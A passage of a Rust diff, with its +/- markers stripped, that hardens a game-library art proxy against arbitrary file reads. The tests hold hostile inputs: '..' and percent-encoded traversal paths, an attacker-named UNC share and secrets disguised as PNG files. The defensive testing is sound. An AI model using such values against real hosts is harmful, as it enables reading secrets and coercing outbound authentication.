/// which must survive a second pass unchanged) and a protocol-relative URL (`//cdn/…`, what GOG's and
|
||||
/// Microsoft's catalogs return — see [`abs_url`]). Mistaking either for a file would break the proxy
|
||||
/// round-trip or silently drop CDN art.
|
||||
pub fn is_local_art_path(v: &str) -> bool {
|
||||
if v.starts_with("http://") || v.starts_with("https://") || v.starts_with("data:") {
|
||||
return false;
|
||||
}
|
||||
if v.starts_with("file://") {
|
||||
return true;
|
||||
}
|
||||
let b = v.as_bytes();
|
||||
(b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\")
|
||||
// Windows drive-absolute (`C:\…`, `C:/…`) or UNC (`\\server\share`).
|
||||
if (b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\") {
|
||||
return true;
|
||||
}
|
||||
// POSIX absolute, minus the host's own `/`-leading shapes (see the doc comment).
|
||||
v.starts_with('/') && !v.starts_with("//") && !v.starts_with("/api/")
|
||||
}
|
||||
|
||||
/// Turn a `file://` art value into a plain filesystem path, percent-decoding it. The kit emits
|
||||
/// properly encoded URLs (`file:///home/u/My%20Cover.jpg`); a raw path that happens to contain no
|
||||
/// `%` round-trips either way, which keeps hand-written plugin payloads working.
|
||||
///
|
||||
/// `file:///home/u/c.jpg` → `/home/u/c.jpg`; `file:///C:/covers/c.jpg` → `C:/covers/c.jpg` (Windows
|
||||
/// drive letters arrive after the empty authority's slash); a NON-empty authority
|
||||
/// (`file://nas/share/c.jpg`) is a UNC reference → `\\nas\share\c.jpg`. Anything without the prefix
|
||||
/// is returned untouched.
|
||||
fn file_url_to_path(v: &str) -> std::borrow::Cow<'_, str> {
|
||||
use std::borrow::Cow;
|
||||
let Some(rest) = v.strip_prefix("file://") else {
|
||||
return Cow::Borrowed(v);
|
||||
};
|
||||
let decoded = percent_decode(rest);
|
||||
match decoded.strip_prefix('/') {
|
||||
// `file:///…` — the empty-authority form. A Windows drive letter (`/C:/…`) loses the slash;
|
||||
// a POSIX path keeps it.
|
||||
Some(after) if after.as_bytes().get(1) == Some(&b':') => Cow::Owned(after.to_string()),
|
||||
Some(_) => Cow::Owned(decoded),
|
||||
// `file://server/share/…` — a UNC path in URL clothing.
|
||||
None => Cow::Owned(format!("\\\\{}", decoded.replace('/', "\\"))),
|
||||
}
|
||||
}
|
||||
|
||||
/// Percent-decode `%XX` escapes. Invalid escapes are left verbatim (a bare `%` in a real path is far
|
||||
/// likelier than a malformed URL from our own kit), and the result is only ever used as a path that
|
||||
/// must then exist as a regular file — so a wrong decode degrades to "no art", never to a wrong read.
|
||||
fn percent_decode(s: &str) -> String {
|
||||
let b = s.as_bytes();
|
||||
let mut out = Vec::with_capacity(b.len());
|
||||
let mut i = 0;
|
||||
while i < b.len() {
|
||||
if b[i] == b'%' && i + 2 < b.len() {
|
||||
let hex = |c: u8| (c as char).to_digit(16);
|
||||
if let (Some(hi), Some(lo)) = (hex(b[i + 1]), hex(b[i + 2])) {
|
||||
out.push((hi * 16 + lo) as u8);
|
||||
i += 3;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
out.push(b[i]);
|
||||
i += 1;
|
||||
}
|
||||
String::from_utf8(out).unwrap_or_else(|_| s.to_string())
|
||||
}
|
||||
|
||||
/// The filesystem roots the art proxy is allowed to read from.
|
||||
///
|
||||
/// The proxy runs in the **host process** — LocalSystem on Windows — and both the path and the
|
||||
/// read-back are reachable from the plugin lane, which runs as the much weaker LocalService. Without
|
||||
/// a root, "serve this entry's cover" is "read any file on the box as SYSTEM" (2026-08-05 review
|
||||
/// H-2): `mgmt-token`, `key.pem`, the SAM hive. So the value is confined here, at the one place
|
||||
/// bytes are read, rather than trusted because of where it was written.
|
||||
///
|
||||
/// Default: the users base (`C:\Users`), which is where every launcher keeps its art cache —
|
||||
/// Playnite, the only local-art provider, stores covers under `%APPDATA%\Playnite`. Derived from
|
||||
/// `%PUBLIC%`'s parent because the host runs as SYSTEM, whose own `%USERPROFILE%` is
|
||||
/// `…\config\systemprofile` and tells us nothing about where the operator's launchers live.
|
||||
/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (`;`-separated) replaces the default for an operator whose library
|
||||
/// is on another drive.
|
||||
fn art_roots() -> Vec<PathBuf> {
|
||||
if let Some(configured) = std::env::var_os("PUNKTFUNK_LIBRARY_ART_ROOTS") {
|
||||
return std::env::split_paths(&configured)
|
||||
.filter(|p| !p.as_os_str().is_empty())
|
||||
.collect();
|
||||
}
|
||||
let mut roots = Vec::new();
|
||||
// `%PUBLIC%` is `C:\Users\Public` on every supported Windows; its parent is the users base.
|
||||
if let Some(public) = std::env::var_os("PUBLIC") {
|
||||
if let Some(base) = PathBuf::from(public).parent() {
|
||||
roots.push(base.to_path_buf());
|
||||
}
|
||||
}
|
||||
if roots.is_empty() {
|
||||
if let Some(drive) = std::env::var_os("SystemDrive") {
|
||||
roots.push(PathBuf::from(drive).join("Users"));
|
||||
}
|
||||
}
|
||||
// POSIX: the user's home, which is the exact analogue of the Windows users base above — and
|
||||
// where every launcher this host reads art from actually keeps it. Steam's
|
||||
// `appcache/librarycache` and `userdata/<id>/config/grid`, Lutris's `coverart`/`banners` (both
|
||||
// the `~/.local/share` and `~/.cache` copies), Heroic's caches, and all three Flatpak
|
||||
// `~/.var/app/…` variants are under it.
|
||||
//
|
||||
// Needed because `is_local_art_path` now classifies POSIX absolute paths as local art (the
|
||||
// extracted Lutris/Steam plugins emit them). Before that widening this list was legitimately
|
||||
// empty here: the only local-art provider was Playnite, which is Windows-only, so nothing on a
|
||||
// POSIX host was ever classified local and the confinement had nothing to confine. Leaving it
|
||||
// empty now would not be "secure by default" — it would silently serve no plugin art at all.
|
||||
//
|
||||
// Breadth matches what Windows already ships, and it is not the load-bearing control: a value
|
||||
// still has to carry an image extension, canonicalize to a real regular file inside a root,
|
||||
// sit outside the host config dir, and CONTAIN image bytes. `PUNKTFUNK_LIBRARY_ART_ROOTS`
|
||||
// narrows or relocates this for a library that lives elsewhere.
|
||||
#[cfg(not(windows))]
|
||||
if let Some(home) = std::env::var_os("HOME") {
|
||||
let home = PathBuf::from(home);
|
||||
if !home.as_os_str().is_empty() {
|
||||
roots.push(home);
|
||||
}
|
||||
}
|
||||
roots
|
||||
}
|
||||
|
||||
/// Whether `path` resolves inside one of [`art_roots`] and outside the host config dir.
|
||||
///
|
||||
/// Canonicalizes first, so a junction/symlink pointing out of the root is resolved before the
|
||||
/// containment test rather than after it. The config-dir exclusion is unconditional — it holds even
|
||||
/// if an operator's `PUNKTFUNK_LIBRARY_ART_ROOTS` were to contain it — because that directory is
|
||||
/// where every host secret lives.
|
||||
fn art_path_is_confined(path: &Path) -> bool {
|
||||
// A UNC value (`\\attacker\share\a.png`) is refused outright: reading it would coerce the host's
|
||||
// machine account into outbound SMB authentication to a peer of the caller's choosing.
|
||||
if path.to_string_lossy().starts_with(r"\\") {
|
||||
return false;
|
||||
}
|
||||
let Ok(real) = path.canonicalize() else {
|
||||
return false;
|
||||
};
|
||||
if let Ok(config) = pf_paths::config_dir().canonicalize() {
|
||||
if real.starts_with(&config) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
art_roots()
|
||||
.iter()
|
||||
.filter_map(|r| r.canonicalize().ok())
|
||||
.any(|root| real.starts_with(&root))
|
||||
}
|
||||
|
||||
/// Sniff an image container from its leading bytes → the content type to serve. `None` for anything
|
||||
/// that is not a recognized image.
|
||||
///
|
||||
/// The proxy serves what the bytes ARE, not what the extension claims, and refuses to serve at all
|
||||
/// when they are not an image — which is what keeps an extensionless secret like `mgmt-token` (or a
|
||||
/// `key.pem` renamed `cover.png`) from being returned as `application/octet-stream`.
|
||||
fn sniff_image_type(bytes: &[u8]) -> Option<&'static str> {
|
||||
let starts = |sig: &[u8]| bytes.starts_with(sig);
|
||||
if starts(&[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A]) {
|
||||
return Some("image/png");
|
||||
}
|
||||
if starts(&[0xFF, 0xD8, 0xFF]) {
|
||||
return Some("image/jpeg");
|
||||
}
|
||||
if starts(b"GIF87a") || starts(b"GIF89a") {
|
||||
return Some("image/gif");
|
||||
}
|
||||
if starts(b"RIFF") && bytes.len() >= 12 && &bytes[8..12] == b"WEBP" {
|
||||
return Some("image/webp");
|
||||
}
|
||||
if starts(b"BM") {
|
||||
return Some("image/bmp");
|
||||
}
|
||||
if starts(&[0x00, 0x00, 0x01, 0x00]) {
|
||||
return Some("image/x-icon");
|
||||
}
|
||||
// TGA has no magic number. Validate the fixed header fields instead (colour-map type is 0/1,
|
||||
// image type is one of the six defined codes) — enough that no plausible secret passes.
|
||||
if bytes.len() >= 18
|
||||
&& matches!(bytes[1], 0 | 1)
|
||||
&& matches!(bytes[2], 0 | 1 | 2 | 3 | 9 | 10 | 11)
|
||||
{
|
||||
return Some("image/x-tga");
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Whether a local art path is servable at all: known image extension, inside an allowed root. The
|
||||
/// write-time half of the art confinement — [`validate_art_paths`] refuses to persist a value this
|
||||
/// rejects, so an out-of-root path never reaches the catalog in the first place, and
|
||||
/// [`local_art_bytes`] re-checks at read time so an entry written before this existed is still safe.
|
||||
pub fn art_path_is_servable(value: &str) -> bool {
|
||||
let p = Path::new(value);
|
||||
let ext_ok = p
|
||||
.extension()
|
||||
.and_then(|e| e.to_str())
|
||||
.map(|e| e.to_ascii_lowercase())
|
||||
.is_some_and(|e| {
|
||||
matches!(
|
||||
e.as_str(),
|
||||
"jpg" | "jpeg" | "png" | "webp" | "gif" | "bmp" | "ico" | "tga"
|
||||
)
|
||||
});
|
||||
ext_ok && art_path_is_confined(p)
|
||||
}
|
||||
|
||||
/// Reject any **local-file** art value that the proxy would refuse to serve, so an unservable path
|
||||
/// (out of root, not an image, a UNC share) can never be persisted. URLs and already-proxied paths
|
||||
/// are not this function's business and pass through. `Err` carries the offending field name.
|
||||
pub fn validate_art_paths(art: &Artwork) -> Result<(), String> {
|
||||
for (field, value) in [
|
||||
("portrait", &art.portrait),
|
||||
("hero", &art.hero),
|
||||
("logo", &art.logo),
|
||||
("header", &art.header),
|
||||
] {
|
||||
let Some(v) = value.as_deref() else { continue };
|
||||
if is_local_art_path(v) && !art_path_is_servable(v) {
|
||||
return Err(format!(
|
||||
"art.{field}: local art must be an image file (jpg/png/webp/gif/bmp/ico/tga) inside \
|
||||
an allowed art root — set PUNKTFUNK_LIBRARY_ART_ROOTS if the library lives \
|
||||
elsewhere, or send an http(s) URL instead"
|
||||
));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Read a local image file into `(bytes, content-type)` for the art proxy. `None` if it isn't an
|
||||
/// existing regular file, is empty, or exceeds 16 MiB (a cover never approaches that; the cap bounds
|
||||
/// host memory). Content-type is guessed from the extension.
|
||||
/// existing regular file, is empty, exceeds 16 MiB (a cover never approaches that; the cap bounds
|
||||
/// host memory), resolves outside the allowed art roots ([`art_path_is_confined`]), or does not
|
||||
/// actually contain an image ([`sniff_image_type`]).
|
||||
///
|
||||
/// This is the single place local art bytes are read — the mgmt art proxy and the GameStream
|
||||
/// `/appasset` proxy both land here — so the confinement holds for every caller.
|
||||
///
|
||||
/// A `file://` value is converted to a path FIRST ([`file_url_to_path`]), so the confinement check
|
||||
/// and the read see the same decoded path. Ordering matters: percent-decoding before
|
||||
/// canonicalization is what stops a `%2e%2e` escape being invisible to the traversal check.
|
||||
pub fn local_art_bytes(path: &str) -> Option<(Vec<u8>, String)> {
|
||||
let p = std::path::Path::new(path);
|
||||
let path = file_url_to_path(path);
|
||||
if !art_path_is_servable(&path) {
|
||||
tracing::debug!(
|
||||
path = %path,
|
||||
"art proxy: refusing a path outside the allowed art roots"
|
||||
);
|
||||
return None;
|
||||
}
|
||||
let p = std::path::Path::new(&*path);
|
||||
let meta = std::fs::metadata(p).ok()?;
|
||||
if !meta.is_file() || meta.len() == 0 || meta.len() > 16 * 1024 * 1024 {
|
||||
return None;
|
||||
}
|
||||
let ctype = match p
|
||||
.extension()
|
||||
.and_then(|e| e.to_str())
|
||||
.map(|e| e.to_ascii_lowercase())
|
||||
.as_deref()
|
||||
{
|
||||
Some("jpg" | "jpeg") => "image/jpeg",
|
||||
Some("png") => "image/png",
|
||||
Some("webp") => "image/webp",
|
||||
Some("gif") => "image/gif",
|
||||
Some("bmp") => "image/bmp",
|
||||
Some("ico") => "image/x-icon",
|
||||
Some("tga") => "image/x-tga",
|
||||
_ => "application/octet-stream",
|
||||
}
|
||||
.to_string();
|
||||
Some((std::fs::read(p).ok()?, ctype))
|
||||
let bytes = std::fs::read(p).ok()?;
|
||||
// Serve what the bytes ARE. A file that is not an image is not served at all.
|
||||
let ctype = sniff_image_type(&bytes)?;
|
||||
Some((bytes, ctype.to_string()))
|
||||
}
|
||||
|
||||
/// Resolve one art value to bytes for the Moonlight `/appasset` proxy: a local host file
|
||||
@@ -221,9 +451,22 @@ pub fn proxy_local_art(id: &str, art: &mut Artwork) {
|
||||
/// `(bytes, content-type)`. Resolves the id against the host's OWN library. Blocking — call off the
|
||||
/// async runtime (e.g. `spawn_blocking`).
|
||||
pub fn fetch_box_art(id: &str) -> Option<(Vec<u8>, String)> {
|
||||
// Steam's `Artwork` fields are now relative proxy paths (see `steam_art`) the *client* resolves
|
||||
// against the host — meaningless to `fetch_image`, which expects an absolute URL. Resolve
|
||||
// those kinds directly instead of going through the URL fields.
|
||||
// Same resolution order as the management art proxy (WP1.2): the stored catalog first, for ANY
|
||||
// id, so a library plugin's entries resolve without the warmer knowing its store.
|
||||
if let Some(entry) = entry_for_library_id(id) {
|
||||
return [
|
||||
ArtKind::Portrait,
|
||||
ArtKind::Header,
|
||||
ArtKind::Hero,
|
||||
ArtKind::Logo,
|
||||
]
|
||||
.into_iter()
|
||||
.filter_map(|kind| art_field(&entry.art, kind))
|
||||
.find_map(|v| resolve_art_bytes(&v));
|
||||
}
|
||||
// Legacy in-host Steam scanner: its `Artwork` fields are relative proxy paths (see `steam_art`)
|
||||
// the *client* resolves against the host — meaningless to `fetch_image`, which expects an
|
||||
// absolute URL. Resolve those kinds directly instead of going through the URL fields.
|
||||
if let Some(appid) = id
|
||||
.strip_prefix("steam:")
|
||||
.and_then(|s| s.parse::<u32>().ok())
|
||||
@@ -237,6 +480,7 @@ pub fn fetch_box_art(id: &str) -> Option<(Vec<u8>, String)> {
|
||||
.into_iter()
|
||||
.find_map(|kind| steam_art_bytes(appid, kind));
|
||||
}
|
||||
// The remaining in-host scanners (heroic/lutris/epic/gog/xbox) carry absolute CDN URLs.
|
||||
let g = all_games().into_iter().find(|g| g.id == id)?;
|
||||
[g.art.portrait, g.art.header, g.art.hero, g.art.logo]
|
||||
.into_iter()
|
||||
@@ -335,19 +579,60 @@ mod tests {
|
||||
assert!(fetch_image("data:image/png;base64,").is_none());
|
||||
}
|
||||
|
||||
/// The full accept/exclude table (WP1.2). The exclusions are the load-bearing half: two of the
|
||||
/// three `/`-leading shapes here are emitted by the host ITSELF, so a POSIX rule that swallowed
|
||||
/// them would break the proxy round-trip and silently drop CDN art.
|
||||
#[test]
|
||||
fn local_art_path_detection() {
|
||||
// Windows-shaped local paths a provider (Playnite) would store.
|
||||
assert!(is_local_art_path(r"C:\Users\me\cover.jpg"));
|
||||
assert!(is_local_art_path("C:/Users/me/cover.png"));
|
||||
assert!(is_local_art_path(r"\\nas\share\art.jpg"));
|
||||
// URLs and the host proxy path are NOT local files.
|
||||
// The `file://` plugin contract, on both platform shapes.
|
||||
assert!(is_local_art_path("file:///home/u/covers/x.jpg"));
|
||||
assert!(is_local_art_path("file:///C:/covers/x.jpg"));
|
||||
// POSIX absolute — lutris covers, steam librarycache.
|
||||
assert!(is_local_art_path("/home/u/.cache/lutris/coverart/x.jpg"));
|
||||
assert!(is_local_art_path("/var/lib/steam/librarycache/570/h.jpg"));
|
||||
// URLs are NOT local files.
|
||||
assert!(!is_local_art_path("https://cdn/x.jpg"));
|
||||
assert!(!is_local_art_path("http://host/x.jpg"));
|
||||
assert!(!is_local_art_path("data:image/png;base64,AAAA"));
|
||||
// …nor is the host's OWN art-proxy path (it must survive a second `proxy_local_art` pass).
|
||||
assert!(!is_local_art_path(
|
||||
"/api/v1/library/art/custom:abc/portrait"
|
||||
));
|
||||
assert!(!is_local_art_path("/api/v1/library/art/steam:570/hero"));
|
||||
// …nor a protocol-relative CDN URL (what GOG / the MS catalog return — see `abs_url`).
|
||||
assert!(!is_local_art_path("//images.gog.com/abc_vertical.jpg"));
|
||||
// A relative path is not absolute — nothing to serve.
|
||||
assert!(!is_local_art_path("covers/x.jpg"));
|
||||
assert!(!is_local_art_path(""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn file_url_converts_to_a_path_and_percent_decodes() {
|
||||
assert_eq!(file_url_to_path("file:///home/u/c.jpg"), "/home/u/c.jpg");
|
||||
// Percent-encoded spaces — what a correct URL encoder emits for a real-world cover path.
|
||||
assert_eq!(
|
||||
file_url_to_path("file:///home/u/My%20Games/c%2Bx.jpg"),
|
||||
"/home/u/My Games/c+x.jpg"
|
||||
);
|
||||
// Windows drive letters arrive after the empty authority's slash and lose it.
|
||||
assert_eq!(
|
||||
file_url_to_path("file:///C:/covers/c.jpg"),
|
||||
"C:/covers/c.jpg"
|
||||
);
|
||||
// A non-empty authority is a UNC reference.
|
||||
assert_eq!(
|
||||
file_url_to_path("file://nas/share/c.jpg"),
|
||||
r"\\nas\share\c.jpg"
|
||||
);
|
||||
// Non-`file://` values are returned untouched (bare paths still work).
|
||||
assert_eq!(file_url_to_path("/home/u/c.jpg"), "/home/u/c.jpg");
|
||||
assert_eq!(file_url_to_path(r"C:\c.jpg"), r"C:\c.jpg");
|
||||
// A lone `%` (a legal path character) is not mangled into a decode failure.
|
||||
assert_eq!(file_url_to_path("file:///home/100%.jpg"), "/home/100%.jpg");
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -371,16 +656,187 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
/// A POSIX local cover — the shape the lutris and steam plugins emit — is classified as local
|
||||
/// art and rewritten to the proxy path. This is the case G4 blocked (Lutris art was inlined as
|
||||
/// `data:` URLs and blew the 2 MB body limit at 49 covers).
|
||||
///
|
||||
/// Deliberately free of filesystem and env: the READ half is confined, and lives in
|
||||
/// `local_art_bytes_is_confined_and_image_only` so that only ONE test mutates
|
||||
/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (cargo runs these in parallel threads of one process, so two
|
||||
/// would race).
|
||||
#[test]
|
||||
fn local_art_bytes_reads_a_real_file() {
|
||||
fn posix_local_art_is_classified_and_proxied() {
|
||||
let path = if cfg!(windows) {
|
||||
r"C:\covers\cover.jpg".to_string()
|
||||
} else {
|
||||
"/home/u/.cache/lutris/coverart/cover.jpg".to_string()
|
||||
};
|
||||
let mut art = Artwork {
|
||||
portrait: Some(path.clone()),
|
||||
hero: Some(format!("file://{path}")),
|
||||
logo: Some("https://cdn/l.png".into()),
|
||||
header: None,
|
||||
};
|
||||
assert!(is_local_art_path(&path));
|
||||
proxy_local_art("lutris:42", &mut art);
|
||||
assert_eq!(
|
||||
art.portrait.as_deref(),
|
||||
Some("/api/v1/library/art/lutris:42/portrait")
|
||||
);
|
||||
assert_eq!(
|
||||
art.hero.as_deref(),
|
||||
Some("/api/v1/library/art/lutris:42/hero"),
|
||||
"a file:// value is local art too"
|
||||
);
|
||||
assert_eq!(art.logo.as_deref(), Some("https://cdn/l.png"));
|
||||
|
||||
// Re-running the rewrite is a no-op — the emitted proxy path must not be mistaken for a file.
|
||||
let before = art.portrait.clone();
|
||||
proxy_local_art("lutris:42", &mut art);
|
||||
assert_eq!(art.portrait, before);
|
||||
}
|
||||
|
||||
const PNG: &[u8] = &[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 13];
|
||||
|
||||
/// The art proxy reads bytes in the HOST process (LocalSystem on Windows) from a path the
|
||||
/// plugin lane can write — so what it will and will not read IS the security boundary
|
||||
/// (2026-08-05 review H-2). Confinement, extension, and content are all load-bearing.
|
||||
#[test]
|
||||
fn local_art_bytes_is_confined_and_image_only() {
|
||||
let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id()));
|
||||
let outside = std::env::temp_dir().join(format!("pf-art-out-{}", std::process::id()));
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
let f = dir.join("cover.png");
|
||||
std::fs::write(&f, [1u8, 2, 3, 4]).unwrap();
|
||||
let (bytes, ctype) = local_art_bytes(f.to_str().unwrap()).expect("reads file");
|
||||
assert_eq!(bytes, vec![1, 2, 3, 4]);
|
||||
std::fs::create_dir_all(&outside).unwrap();
|
||||
// Confine the proxy to `dir` for the duration of this test.
|
||||
std::env::set_var("PUNKTFUNK_LIBRARY_ART_ROOTS", &dir);
|
||||
|
||||
// A real image inside the root: served, with the content type SNIFFED from the bytes.
|
||||
let cover = dir.join("cover.png");
|
||||
std::fs::write(&cover, PNG).unwrap();
|
||||
let (bytes, ctype) = local_art_bytes(cover.to_str().unwrap()).expect("reads a real cover");
|
||||
assert_eq!(bytes, PNG);
|
||||
assert_eq!(ctype, "image/png");
|
||||
|
||||
// A secret is not served, however it is dressed up. This is the H-2 primitive: the plugin
|
||||
// writes the path, the host reads it as SYSTEM, and `mgmt-token` is full admin.
|
||||
let secret = dir.join("mgmt-token");
|
||||
std::fs::write(&secret, b"super-secret-admin-token").unwrap();
|
||||
assert!(
|
||||
local_art_bytes(secret.to_str().unwrap()).is_none(),
|
||||
"an extensionless secret must not be served as application/octet-stream"
|
||||
);
|
||||
let disguised = dir.join("mgmt-token.png");
|
||||
std::fs::write(&disguised, b"super-secret-admin-token").unwrap();
|
||||
assert!(
|
||||
local_art_bytes(disguised.to_str().unwrap()).is_none(),
|
||||
"an image extension must not be enough — the bytes must BE an image"
|
||||
);
|
||||
|
||||
// Outside the configured root: refused even though it is a genuine image.
|
||||
let elsewhere = outside.join("cover.png");
|
||||
std::fs::write(&elsewhere, PNG).unwrap();
|
||||
assert!(
|
||||
local_art_bytes(elsewhere.to_str().unwrap()).is_none(),
|
||||
"a path outside every art root must be refused"
|
||||
);
|
||||
// …and a path that only *escapes* via traversal is caught, because we canonicalize first.
|
||||
let traversal = dir
|
||||
.join("..")
|
||||
.join(outside.file_name().unwrap())
|
||||
.join("cover.png");
|
||||
assert!(
|
||||
local_art_bytes(traversal.to_str().unwrap()).is_none(),
|
||||
"`..` out of the root must be refused after canonicalization"
|
||||
);
|
||||
|
||||
assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none());
|
||||
// A directory is not a servable cover — the proxy must never become a directory reader.
|
||||
assert!(local_art_bytes(dir.to_str().unwrap()).is_none());
|
||||
|
||||
// The `file://` plugin contract reaches the SAME bytes through the SAME gate. This is the
|
||||
// half that matters for the extracted scanners: they emit `file://` values, so if the
|
||||
// conversion happened after the confinement check the check would be inspecting a string
|
||||
// that is not the path being read.
|
||||
let as_url = format!("file://{}", cover.to_str().unwrap());
|
||||
assert_eq!(
|
||||
local_art_bytes(&as_url)
|
||||
.expect("file:// reads the same cover")
|
||||
.0,
|
||||
PNG
|
||||
);
|
||||
// …and a `file://` value is confined exactly like a bare one — no bypass by spelling.
|
||||
assert!(
|
||||
local_art_bytes(&format!("file://{}", elsewhere.to_str().unwrap())).is_none(),
|
||||
"file:// must not escape the art roots"
|
||||
);
|
||||
// Percent-encoded traversal is decoded BEFORE canonicalization, so it cannot hide from the
|
||||
// `..` check.
|
||||
assert!(
|
||||
local_art_bytes(&format!(
|
||||
"file://{}/%2e%2e/{}/cover.png",
|
||||
dir.to_str().unwrap(),
|
||||
outside.file_name().unwrap().to_str().unwrap()
|
||||
))
|
||||
.is_none(),
|
||||
"percent-encoded traversal must be refused"
|
||||
);
|
||||
|
||||
// A UNC path is refused outright (outbound SMB auth coercion), before any filesystem hit.
|
||||
assert!(!art_path_is_servable(r"\\attacker\share\a.png"));
|
||||
|
||||
std::env::remove_var("PUNKTFUNK_LIBRARY_ART_ROOTS");
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
let _ = std::fs::remove_dir_all(&outside);
|
||||
}
|
||||
|
||||
/// Write-time validation refuses what read-time would refuse, so an unservable path never even
|
||||
/// reaches `library.json`. URLs are none of its business.
|
||||
#[test]
|
||||
fn validate_art_paths_rejects_unservable_local_paths() {
|
||||
let ok = Artwork {
|
||||
portrait: Some("https://cdn/x.jpg".into()),
|
||||
hero: Some("data:image/png;base64,AAAA".into()),
|
||||
logo: Some("/api/v1/library/art/custom:x/logo".into()),
|
||||
header: None,
|
||||
};
|
||||
assert!(validate_art_paths(&ok).is_ok(), "URLs pass through");
|
||||
|
||||
let unc = Artwork {
|
||||
portrait: Some(r"\\attacker\share\a.png".into()),
|
||||
..Default::default()
|
||||
};
|
||||
assert!(
|
||||
validate_art_paths(&unc).is_err(),
|
||||
"UNC is refused at write time"
|
||||
);
|
||||
|
||||
let secret = Artwork {
|
||||
hero: Some(r"C:\ProgramData\punktfunk\mgmt-token".into()),
|
||||
..Default::default()
|
||||
};
|
||||
let err = validate_art_paths(&secret).expect_err("a secret path is refused");
|
||||
assert!(
|
||||
err.starts_with("art.hero"),
|
||||
"the error names the field: {err}"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sniff_image_type_recognizes_containers_and_rejects_secrets() {
|
||||
assert_eq!(sniff_image_type(PNG), Some("image/png"));
|
||||
assert_eq!(
|
||||
sniff_image_type(&[0xFF, 0xD8, 0xFF, 0xE0]),
|
||||
Some("image/jpeg")
|
||||
);
|
||||
assert_eq!(sniff_image_type(b"GIF89a...."), Some("image/gif"));
|
||||
assert_eq!(
|
||||
sniff_image_type(b"RIFF\0\0\0\0WEBPVP8 "),
|
||||
Some("image/webp")
|
||||
);
|
||||
assert_eq!(sniff_image_type(b"BM\0\0"), Some("image/bmp"));
|
||||
// The shapes a stolen secret actually has.
|
||||
assert_eq!(sniff_image_type(b"-----BEGIN PRIVATE KEY-----"), None);
|
||||
assert_eq!(sniff_image_type(b"9f8a7b6c5d4e3f2a1b0c"), None);
|
||||
assert_eq!(sniff_image_type(b""), None);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -28,6 +28,17 @@ pub struct CustomEntry {
|
||||
/// host-assigned `id` stays stable across reconciles. Present iff `provider` is.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub external_id: Option<String>,
|
||||
/// The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.
|
||||
/// `None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.
|
||||
///
|
||||
/// Materialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an
|
||||
/// entry is self-describing: its id and its `store` badge derive from the entry alone, and stay
|
||||
/// correct even while the claim map is being rewritten.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub store: Option<String>,
|
||||
/// Whether this entry is a game or the launcher itself — see [`GameRole`].
|
||||
#[serde(default, skip_serializing_if = "GameRole::is_game")]
|
||||
pub role: GameRole,
|
||||
/// How to recognize this title's process once it is running (design §9) — the one thing a
|
||||
/// provider knows that the host cannot work out for itself.
|
||||
///
|
||||
@@ -53,6 +64,10 @@ pub struct CustomInput {
|
||||
/// Per-title prep/undo steps — commands run as the host user; operator-privileged config.
|
||||
#[serde(default)]
|
||||
pub prep: Vec<crate::hooks::PrepCmd>,
|
||||
/// Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher
|
||||
/// entry is legal (an operator may want a "Steam" tile without installing the steam plugin).
|
||||
#[serde(default)]
|
||||
pub role: GameRole,
|
||||
/// How to recognize this title's process — see [`CustomEntry::detect`].
|
||||
#[serde(default)]
|
||||
pub detect: DetectHint,
|
||||
@@ -76,6 +91,10 @@ pub struct ProviderEntryInput {
|
||||
/// Per-title prep/undo steps — commands run as the host user; operator-privileged config.
|
||||
#[serde(default)]
|
||||
pub prep: Vec<crate::hooks::PrepCmd>,
|
||||
/// Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin
|
||||
/// emits its `launchers(cfg)` entries with `role: "launcher"`.
|
||||
#[serde(default)]
|
||||
pub role: GameRole,
|
||||
/// How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its
|
||||
/// titles' install directories (Playnite does) should send them: it is what lets a game launched
|
||||
/// through the provider's own client still end its session when the player quits.
|
||||
@@ -101,10 +120,13 @@ impl From<CustomEntry> for GameEntry {
|
||||
.unwrap_or_default()
|
||||
.or_hint(&c.detect);
|
||||
GameEntry {
|
||||
id: format!("custom:{}", c.id),
|
||||
store: "custom".into(),
|
||||
id: library_id_for(&c),
|
||||
// A claimed entry wears its store's badge; everything else is `custom`. `provider` rides
|
||||
// along either way, so attribution ("synced by the steam plugin") survives the claim.
|
||||
store: c.store.clone().unwrap_or_else(|| "custom".into()),
|
||||
title: c.title,
|
||||
art: c.art,
|
||||
role: c.role,
|
||||
launch: c.launch,
|
||||
provider: c.provider,
|
||||
detect,
|
||||
@@ -122,42 +144,123 @@ fn custom_path() -> PathBuf {
|
||||
pf_paths::config_dir().join("library.json")
|
||||
}
|
||||
|
||||
/// Load the custom entries (empty + non-fatal if the file is absent or malformed).
|
||||
pub fn load_custom() -> Vec<CustomEntry> {
|
||||
/// The persisted catalog (`library.json` **v2**): the entries plus the store-claim map (D2).
|
||||
#[derive(Debug, Default, Serialize, Deserialize)]
|
||||
pub struct Catalog {
|
||||
#[serde(default)]
|
||||
pub entries: Vec<CustomEntry>,
|
||||
/// `store id → provider id`. One provider per store; a second claimant is refused (409).
|
||||
///
|
||||
